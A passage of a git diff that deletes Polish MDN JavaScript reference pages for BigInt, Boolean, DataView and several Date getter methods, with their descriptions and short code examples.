{{JSxRef("BigInt.asIntN()")}}
-
Opakowuje wartość BigInt w liczbę całkowitą ze znakiem o wartości między -2width-1 a 2width-1 - 1.
-
{{JSxRef("BigInt.asUintN()")}}
-
Opakowuje wartość BigInt w liczbę całkowitą bez znaku o wartości między 0 a 2width - 1.
-
- -

Metody instancyjne

- -
-
{{JSxRef("BigInt.prototype.toLocaleString()")}}
-
Zwraca string z zależną od języka reprezentacją danej liczby. Nadpisuje metodę {{JSxRef("Object.prototype.toLocaleString()")}}.
-
{{JSxRef("BigInt.prototype.toString()")}}
-
Zwraca string reprezentujący dany obiekt w określonym źródle. Nadpisuje metodę {{JSxRef("Object.prototype.toString()")}}.
-
{{JSxRef("BigInt.prototype.valueOf()")}}
-
Zwraca prymitywną wartość danego obiektu. Nadpisuje metodę {{JSxRef("Object.prototype.valueOf()")}}.
-
- -

Zalecenia w użyciu

- -

Wymuszanie typów

- -

Ponieważ wymuszanie tupów między {{JSxRef("Number")}} a BigInt może prowadzić do utraty precyzji, zaleca się używanie jedynie typu BigInt, gdy można się spodziewać, że pojawią się wartości przekraczające 253 i nie należy wówczas przeprowadzać konwersji między tymi typami.

- -

Kryptografia

- -

Operacje wspierane dla BigIntów nie są stałe czasowo, dlatego też typ BigInt nie nadaje się do użycia w kryptografii.

- -

Użycie w JSON

- -

Użycie {{jsxref("JSON.stringify()")}} z dowolną wartością typu BigInt spowoduje błąd TypeError, ponieważ wartości BigInt nie są domyślnie serialozowane w JSONie. Jednakże, jeśli taka operacja jest potrzebna, możesz zaimplemntować własną metodę toJSON:

- -
BigInt.prototype.toJSON = function() { return this.toString()  }
- -

Zamiast wyrzucania wyjątku, JSON.stringify będzie teraz zwracać string:

- -
JSON.stringify(BigInt(1))
-// '"1"'
- -

Przykłady

- -

Obliczanie liczb pierwszych

- -
// Zwraca true jeśl dany BigInt jest liczbą pierwszą
-function isPrime(p) {
-  for (let i = 2n; i * i <= p; i++) {
-    if (p % i === 0n) return false;
-  }
-  return true
-}
-
-// Przyjmuje BigInt n jako argument, zwraca n-tą liczbę pierwszą jako BigInt
-function nthPrime(nth) {
-  let maybePrime = 2n
-  let prime = 0n
-
-  while (nth >= 0n) {
-    if (isPrime(maybePrime)) {
-      nth--
-      prime = maybePrime
-    }
-    maybePrime++
-  }
-
-  return prime
-}
-
-nthPrime(20n)
-// ↪ 73n
- -

Specyfikacje

- - - - - - - - - - - - -
Specyfikacja
{{SpecName("ESDraft", "#sec-bigint-objects", "BigInt objects")}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.builtins.BigInt")}}

- -

Postęp implementacji

- -

Poniższa tabela przedstawia postęp implementacji tej funkcji języka JavaScript, gdyż nie osiągnęła ona jeszcze pełnej stabilności między przeglądarkami. Dane są generowane przez uruchamianie odpowiednich testów tej funkcji w Test262,standrardowym zestawie testów JavaScript, „nocnych wersji” (ang. nightly build) lub ostatnich wydań silnika JavaScript w każdej przeglądarce.

- -
{{EmbedTest262ReportResultsTable("BigInt")}}
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html deleted file mode 100644 index 9cc06f15ea..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: BigInt.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/BigInt/toString -tags: - - BigInt - - JavaScript - - Metodă - - Prototyp - - toString() -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString ---- -
{{JSRef}}
- -

Metoda toString() zwraca ciąg znaków (string), reprezentujący dany obiekt {{jsxref("BigInt")}}. Końcowy znak "n" nie jest częścią wynikowego ciągu znaków.

- -
{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}
- - - -

Składnia

- -
bigIntObj.toString([podstawa])
- -

Parametry

- -
-
podstawa{{optional_inline}}
-
Argument opcjonalny. Liczba całkowita w zakresie od 2 do 36, reprezentująca bazę systemu liczbowego, w którym ma być przedstawiona dana wartość {{jsxref("BigInt")}}.
-
- -

Zwracana wartość

- -

Ciąg znaków reprezentujący dany obiekt {{jsxref("BigInt")}}.

- -

Wyjątki

- -
-
{{jsxref("RangeError")}}
-
Jeśli do metody toString() przekazana jest podstawa systemu mniejsza niż 2 lub większa niż 36, wyrzucany jest błąd {{jsxref("RangeError")}}.
-
- -

Opis

- -

Obiekt {{jsxref("BigInt")}} nadpisuje metodę toString() obiektu {{jsxref("Object")}}; nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref( "BigInt")}}, metoda toString() zwraca ciąg znaków reprezentujący daną wartość w systemie pozycyjnym o zadanej bazie.

- -

Metoda toString() parsuje pierwszy argument i próbuje zwrócić ciąg znaków reprezentujący daną wartość w systemie o zadanej podstawie (bazie). Dla systemów o podstawie większej niż 10, do reprezentacji cyfr większych niż 9 używane są kolejne litery alfabetu łacińskiego. Przykładowo, dla wartości w systemie szesnastkowym (o podstawie równej 16), używane są litery od a do f.

- -

Jeśli podstawa nie jest podana, zakłada się, że preferowaną bazą systemu jest 10.

- -

Jeśli wartość bigIntObj jest ujemna, znak jest zachowywany. Dzieje się tak nawet wtedy, gdy podstawą jest 2; zwracany ciąg cyfr jest dodatnią reprezentacją bigIntObj, poprzedzoną znakiem -, nie dopełnieniem dwójkowym bigIntObj.

- -

Przykłady

- -

Użycie toString

- -
17n.toString();      // '17'
-66n.toString(2);     // '1000010'
-254n.toString(16);   // 'fe'
--10n.toString(2);    // -1010'
--0xffn.toString(2);  // '-11111111'
-
- -

BigInt z ujemnym zerem

- -

Nie ma obiektów BigInt reprezentujących ujemne zero, tak jak nie ma ujemnych zer wśród liczb całkowitych.. -0.0 jest zmiennoprzecinkową koncepcją zmiennoprzecinkową IEEE, która pojawia się w języku JavaScript jedynie w typie {{jsxref("Number")}}.

- -
(-0n).toString();      // '0'
-BigInt(-0).toString(); // '0'
- -

Specyfikacje

- - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.prototype.tostring', 'BigInt.prototype.toString()')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.builtins.BigInt.toString")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html deleted file mode 100644 index a1d4c312fd..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: BigInt.prototype.valueOf() -slug: Web/JavaScript/Referencje/Obiekty/BigInt/valueOf -tags: - - BigInt - - JavaScript - - Metodă - - Prototype - - valueOf() -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf ---- -
{{JSRef}}
- -

Metoda valueOf() zwraca opakowaną wartość prymitywną obiektu {{jsxref("BigInt")}}.

- -
{{EmbedInteractiveExample("pages/js/bigint-valueof.html","shorter")}}
- - - -

Składnia

- -
bigIntObj.valueOf()
- -

Zwracana wartość

- -

BigInt reprezentujący wartość prymitywną danego obiektu {{jsxref("BigInt")}}.

- -

Przykłady

- -

Użycie valueOf

- -
typeof Object(1n); // object
-typeof Object(1n).valueOf(); // bigint
-
- -

Specyfikacje

- - - - - - - - - - -
Specyfikacja
{{SpecName('ESDraft', '#sec-bigint.prototype.valueof', 'BigInt.prototype.valueOf()')}}
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.builtins.BigInt.valueOf")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/index.html deleted file mode 100644 index 85e5a6a773..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/boolean/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Boolean -slug: Web/JavaScript/Referencje/Obiekty/Boolean -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean ---- -

{{JSRef("Global_Objects", "Boolean")}}

- -

Podsumowanie

- -

Obiekt Boolean jest obiektem opakowującym (ang.wrapper ) dla wartości logicznych.

- -

Składnia

- -
new Boolean([wartosc])
- -

Parametry

- -
-
wartosc 
-
Początkowa wartość obiektu Boolean.
-
- -

Opis

- -

Wartość przekazana jako pierwszy parametr jest w razie konieczności konwertowana do wartości logicznej. Jeśli wartość zostanie pominięta lub będzie równa 0, -0, null, false, NaN, będzie pustym łańcuchem znaków ("") lub będzie niezdefiniowana, obiekt przyjmie początkową wartość false. Dowolna inna wartość, włączając łańcuch znaków "false", spowoduje utworzenie obiektu z początkową wartością true.

- -

Nie należy mylić prostych wartości logicznych true i false z wartościami true i false obiektu Boolean.

- -

Każdy obiekt, którego wartością nie jest wartość undefined lub null, w tym obiekt Boolean posiadający wartość false, traktowany jest w instrukcjach warunkowych jako true. Przykładowo warunek w poniższej instrukcji if będzie miał wartość true:

- -
x = new Boolean(false);
-if (x) {
-  // . . . ten kod zostanie wykonany
-}
-
- -

Taka sytuacja nie zachodzi przy prostych wartościach logicznych. Przykładowo warunek w poniższej instrukcji if będzie miał wartość false::

- -
x = false;
-if (x) {
-  // . . . ten kod nie zostanie wykonany
-}
-
- -

Nie należy zatem używać obiektu Boolean do konwersji wartości nie będącej wartością logiczną na wartość typu Boolean. Zamiast tego należy skorzystać z funkcji Boolean():

- -
x = Boolean(wyrazenie);     // zalecane
-x = new Boolean(wyrazenie); // nie należy używać
-
- -

Jeśli jako wartość początkową określony zostanie dowolny obiekt, w tym obiekt Boolean o wartości false, nowy obiekt Boolean będzie miał wartość true.

- -
myFalse = new Boolean(false);   // wartość początkowa: false
-g = new Boolean(myFalse);       // wartość początkowa: true
-myString = new String("Hello"); // obiekt String (łańcuch znaków)
-s = new Boolean(myString);      // wartość początkowa: true
-
- -

Nie należy używać obiektu Boolean zamiast prostej wartości logicznej.

- -

Własności

- -
-
Boolean.length
-
Length property whose value is 1.
-
- -
-
{{jsxref("Boolean.prototype")}}
-
Definiuje własność współdzieloną przez wszystkie obiekty Boolean.
-
- -

Metody

- -

Globalny obiekt Boolean sam w sobie nie zawiera żadnych metod, jednak dziedziczy on niektóre metody poprzez łańcuch prototypu.

- -
{{jsOverrides("Function", "Methods")}}
- -

Przykłady

- -

Tworzenie obiektów Boolean z początkową wartością „fałsz”

- -
bNoParam = new Boolean();
-bZero = new Boolean(0);
-bNull = new Boolean(null);
-bEmptyString = new Boolean("");
-bfalse = new Boolean(false);
-
- -

Tworzenie obiektów Boolean z początkową wartością „prawda”

- -
btrue = new Boolean(true);
-btrueString = new Boolean("true");
-bfalseString = new Boolean("false");
-bSuLin = new Boolean("Su Lin");
-
- -

Zobacz także

- - - -
 
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html deleted file mode 100644 index 26fe611df4..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Boolean.prototype -slug: Web/JavaScript/Referencje/Obiekty/Boolean/prototype -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean -translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---- -
{{JSRef}}
- -

Podsumowanie

- -

Reprezentuje prototyp konstruktora {{jsxref("Boolean")}}.

- -

Opis

- -

Instancje {{jsxref("Boolean")}} dziedziczą z Boolean.prototype. Możesz użyć obiektu prototypu konstruktora, by dodać własności lub metody do wszystkich instancji {{jsxref("Boolean")}}.

- -

Własności

- -
-
Boolean.prototype.constructor
-
Zwraca funkcję, która tworzy instancję prototypu. Jest to domyślnie funkcja {{jsxref("Boolean")}}.
-
- -
{{jsOverrides("Object", "properties", "constructor")}}
- -

Metody

- -
-
{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}
-
Zwraca ciąg zawierający źródło obiektu Boolean; możesz użyć tego ciągu, by stworzyć równoważny obiekt. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.
-
- -
-
{{jsxref("Boolean.prototype.toString()")}}
-
Zwraca ciąg "true" albo "false", zależnie od wartości obiektu. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.
-
- -
-
{{jsxref("Boolean.prototype.valueOf()")}}
-
Zwraca prostą wartość obiektu Boolean. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.
-
- -
{{jsOverrides("Object", "methods", "toSource", "toString", "valueOf")}}
diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html deleted file mode 100644 index b41f1c5806..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Boolean.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/Boolean/toSource -tags: - - Boolean - - JavaScript - - Method - - Non-standard - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource ---- -
{{JSRef}} {{non-standard_header}}
- -

Podsumowanie

- -

Zwraca łańcuch znaków z kodem źródłowym obiektu.

- -

Składnia

- -
booleanObj.toSource()
-Boolean.toSource()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda toSource zwraca następujące wartości:

- - - - - -

Metoda ta jest zwykle stosowana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie programów.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html deleted file mode 100644 index fe61d7bca9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Boolean.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/Boolean/toString -tags: - - Boolean - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca ciąg znaków reprezentujący dany obiekt Boolean

- -

Składnia

- -
bool.toString()
- -

Parametry

- -

Brak.

- -

Opis

- -

Obiekt {{jsxref("Boolean")}} przesłania metodę toString obiektu {{jsxref("Object")}}, nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów Boolean metoda toString zwraca ich tekstową reprezentację.

- -

JavaScript wywołuje metodę toString samoczynnie, kiedy instancja obiektu {{jsxref("Boolean")}} ma być reprezentowana jako wartość tekstowa lub kiedy instancja obiektu {{jsxref("Boolean")}} jest składnikiem konkatenacji ciągu(-ów) znaków.

- -

Dla obiektów i wartości {{jsxref("Boolean")}} wbudowana metoda toString zwraca ciąg znaków "true" lub "false" w zależności od wartości obiektu boolowskiego. W poniższym przykładzie flaga.toString zwraca "true".

- -
var flaga = new Boolean(true)
-var mojaZmienna=flaga.toString()
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html deleted file mode 100644 index 1e20821efa..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Boolean.prototype.valueOf() -slug: Web/JavaScript/Referencje/Obiekty/Boolean/valueOf -tags: - - Boolean - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca wartość prostą obiektu {{jsxref("Boolean")}}.

- -

Składnia

- -
bool.valueOf()
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda valueOf obiektu {{jsxref("Boolean")}} zwraca wartość prostą obiektu {{jsxref("Boolean")}} lub literału {{jsxref("Boolean")}} jako typ Boolean.

- -

Metoda ta jest zwykle wywoływana wewnętrznie przez interpreter JavaScriptu, a nie w typowym kodzie w JavaScripcie.

- -

Przykłady

- -

Przykład: Zastosowanie valueOf

- -
var x = new Boolean();
-myVar = x.valueOf()      // przypisuje myVar wartość false
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/dataview/index.html b/files/pl/web/javascript/referencje/obiekty/dataview/index.html deleted file mode 100644 index db3d459a82..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/dataview/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: DataView -slug: Web/JavaScript/Referencje/Obiekty/DataView -translation_of: Web/JavaScript/Reference/Global_Objects/DataView ---- -
{{JSRef}}
- -

DataView  udostępnia niskopoziowy interfejs do zapisu i odczytu typów numerycznych w formie {{jsxref("ArrayBuffer")}} niezależnie od kodowania platformy.

- -

Składnia

- -
new DataView(buffer [, byteOffset [, byteLength]])
- -

Parametry

- -
-
buffer
-
Istniejący {{jsxref("ArrayBuffer")}} lub {{jsxref("SharedArrayBuffer")}} {{experimental_inline}} używany jako pamięć dla  obiektu  DataView .
-
byteOffset {{optional_inline}}
-
The offset, in bytes, to the first byte in the specified buffer for the new view to reference. If not specified, the view of the buffer will start with the first byte.
-
byteLength {{optional_inline}}
-
The number of elements in the byte array. If unspecified, length of the view will match the buffer's length.
-
- -

Return value

- -

A new DataView object representing the specified data buffer.

- -

Exceptions

- -
-
{{jsxref("RangeError")}}
-
Thrown if the byteOffset and byteLength result in the specified view extending past the end of the buffer.
-
- -

Description

- -

Endianness

- -

Multi-byte number formats are represented in memory differently depending on machine architecture, see {{Glossary("Endianness")}} for an explanation. DataView accessors provide explicit control of how data will be accessed irrespective of the platform architecture's endianness.

- -
var littleEndian = (function() {
-  var buffer = new ArrayBuffer(2);
-  new DataView(buffer).setInt16(0, 256, true /* littleEndian */);
-  // Int16Array uses the platform's endianness.
-  return new Int16Array(buffer)[0] === 256;
-})();
-console.log(littleEndian); // true or false
-
- -

Properties

- -

All DataView instances inherit from {{jsxref("DataView.prototype")}} and allows the addition of properties to all DataView objects.

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Properties')}}

- -

Methods

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Methods')}}

- -

Example

- -
var buffer = new ArrayBuffer(16);
-var dv = new DataView(buffer, 0);
-
-dv.setInt16(1, 42);
-dv.getInt16(1); //42
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Superseded by ECMAScript 6
{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ES6')}}Initial definition in an ECMA standard
{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- - - -

{{Compat("javascript.builtins.DataView")}}

- -

Compatibility notes

- -

Starting with Firefox 40, DataView requires to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling DataView() as a function without new, will throw a {{jsxref("TypeError")}} from now on.

- -
var dv = DataView(buffer, 0);
-// TypeError: calling a builtin DataView constructor without new is forbidden
- -
var dv = new DataView(buffer, 0);
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html deleted file mode 100644 index e95fcabc0c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: constructor -slug: Web/JavaScript/Referencje/Obiekty/Date/constructor -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date -translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/constructor ---- -

-

-

Podsumowanie

-

Zwraca referencję do funkcji Date, która tworzy prototyp instancji. Należy pamiętać, że wartość tej własności jest referencją do samej funkcji, nie zaś łańcuchem znaków zawierającym nazwę funkcji.

- -
Własność obiektu: Date
Zaimplementowane w: JavaScript 1.1, NES 2.0
Wersja ECMA: ECMA-262

Opis

-

Zobacz Object.constructor. -

{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Date/constructor", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Date/constructor" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html deleted file mode 100644 index 2dcba53fa0..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Date.prototype.getDate() -slug: Web/JavaScript/Referencje/Obiekty/Date/getDate -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca dzień miesiąca dla określonej daty stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.getDate()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getDate to liczby całkowite z przedziału liczb pomiędzy 1 a 31.

- -

Przykłady

- -

Przykład: Zastosowanie getDate()

- -

Druga instrukcja poniżej przydziela wartość 25 do zmiennej dzien, wartość oparta na Date, obiektu Xmas95.

- -
var Xmas95 = new Date("December 25, 1995 23:15:00");
-var dzien = Xmas95.getDate();
-
-console.log(dzien), // 25
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getday/index.html b/files/pl/web/javascript/referencje/obiekty/date/getday/index.html deleted file mode 100644 index 0c52e4e3dd..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getday/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Date.prototype.getDay() -slug: Web/JavaScript/Referencje/Obiekty/Date/getDay -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay ---- -
{{JSRef("Global_Objects", "Date")}}
- -

Podsumowanie

- -

Zwraca dzień tygodnia określonej daty, stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.getDay()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartością zwracaną przez getDay jest liczba całkowita, odnosząca się do dnia tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku, i tak dalej.

- -

Przykłady

- -

Przykład: Zastosowanie getDay()

- -

Druga instrukcja poniżej przydziela wartość 1 do dzienTyg, opierając się o wartość Date, obiektu Xmas95. 25 grudnia 1995 roku wypadał w poniedziałek.

- -
var Xmas95 = new Date("December 25, 1995 23:15:00");
-var weekday = Xmas95.getDay();
-
-console.log(weekday); // 1
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html deleted file mode 100644 index ecc7d868c0..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Date.prototype.getFullYear() -slug: Web/JavaScript/Referencje/Obiekty/Date/getFullYear -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca rok określonej daty, stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.getFullYear()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość getFullYear zwracana jest jako pełna liczba. Dla dat liczba lat zawiera się pomiędzy 1000 i 9999, getFullYear zwraca czterocyfrową liczbę, na przykład: 1995. Użyj tej funkcji, aby być pewnym, że wyświetlona będzie pełna data po roku 2000.

- -

Użyj tej metody zamiast metody getYear.

- -

Przykłady

- -

Przykład: Zastosowanie getFullYear

- -

Następujący przykład przydziela czterocyfrową wartość aktualnego roku do zmiennej yr.

- -
var today = new Date();
-var yr = today.getFullYear();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html b/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html deleted file mode 100644 index a6010ec8c3..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Date.prototype.getHours() -slug: Web/JavaScript/Referencje/Obiekty/Date/getHours -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca godzinę określonej daty, stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.getHours()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getHours jest liczbą całkowitą z przedziału od 0 do 23.

- -

Przykłady

- -

Przykład: Zastosowanie getHours()

- -

Druga instrukcja poniżej przydziela wartość liczby 23 zmiennej hours, opartej o wartość Date obiektu Xmas95.

- -
var Xmas95 = new Date("December 25, 1995 23:15:00");
-var hours = Xmas95.getHours();
-
-console.log(hours); // 23
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html deleted file mode 100644 index 1ab98844fc..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Date.prototype.getMilliseconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/getMilliseconds -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca milisekundy określonej daty, stosownie do czasu lokalnego.

- -

Składnia

- -
dateObj.getMilliseconds()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getMilliseconds jest liczbą pomiędzy 0 a 999.

- -

Przykłady

- -

Przykład: Zastosowanie getMilliseconds()

- -

Następujący przykład przydziela liczbę milisekund aktualnego czasu do zmiennej ms.

- -
var today = new Date();
-var ms = today.getMilliseconds();
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html b/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html deleted file mode 100644 index 3ee877bd14..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Date.prototype.getMinutes() -slug: Web/JavaScript/Referencje/Obiekty/Date/getMinutes -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMinutes ---- -
{{JSRef}}
- -

Podsumowanie

- -

Zwraca minuty dla określonej daty w zależności od czasu lokalnego.

- -

Składnia

- -
dateObj.getMinutes()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getMinutes jest liczbą całkowitą z przedziału od 0 do 59.

- -

Przykłady

- -

Przykład: Zastosowanie getMinutes

- -

Druga instrukcja poniżej przypisuje wartość 15 do zmiennej minutes, bazując na wartości obiektu Xmas95 typu Date.

- -
var Xmas95 = new Date("December 25, 1995 23:15:00");
-var minutes = Xmas95.getMinutes();
-
-console.log(minutes); // 15
-
- -

Zobacz także

- -
- -
diff --git a/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html b/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html deleted file mode 100644 index bf3e74b56b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Date.prototype.getMonth() -slug: Web/JavaScript/Referencje/Obiekty/Date/getMonth -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getMonth ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca miesiąc dla określonej daty w zależności od czasu lokalnego.

- -

Składnia

- -
dateObj.getMonth()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getMonth jest liczbą całkowitą z przedziału od 0 do 11. 0 reprezentuje styczeń, 1 luty, i tak dalej.

- -

Przykłady

- -

Przykład: Zastosowanie getMonth()

- -

Druga instrukcja z przykładu poniżej przypisuje wartość 11 zmiennej month, bazując na wartości obiektu Xmas95 typu Date.

- -
var Xmas95 = new Date("December 25, 1995 23:15:00");
-var month = Xmas95.getMonth();
-
-console.log(month); // 11
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html deleted file mode 100644 index f471165425..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Date.prototype.getSeconds() -slug: Web/JavaScript/Referencje/Obiekty/Date/getSeconds -tags: - - Date - - JavaScript - - Method - - Prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca sekundy dla określonej daty w zależności od czasu lokalnego.

- -

Składnia

- -
dateObj.getSeconds()
- -

Parametry

- -

Brak.

- -

Opis

- -

Wartość zwracana przez getSeconds jest liczbą całkowitą z przedziału od 0 do 59.

- -

Przykłady

- -

Przykład: Zastosowanie getSeconds()

- -

Druga instrukcja poniżej przypisuje wartość 30 do zmiennej secs, bazując na wartości obiektu Xmas95 typu Date.

- -
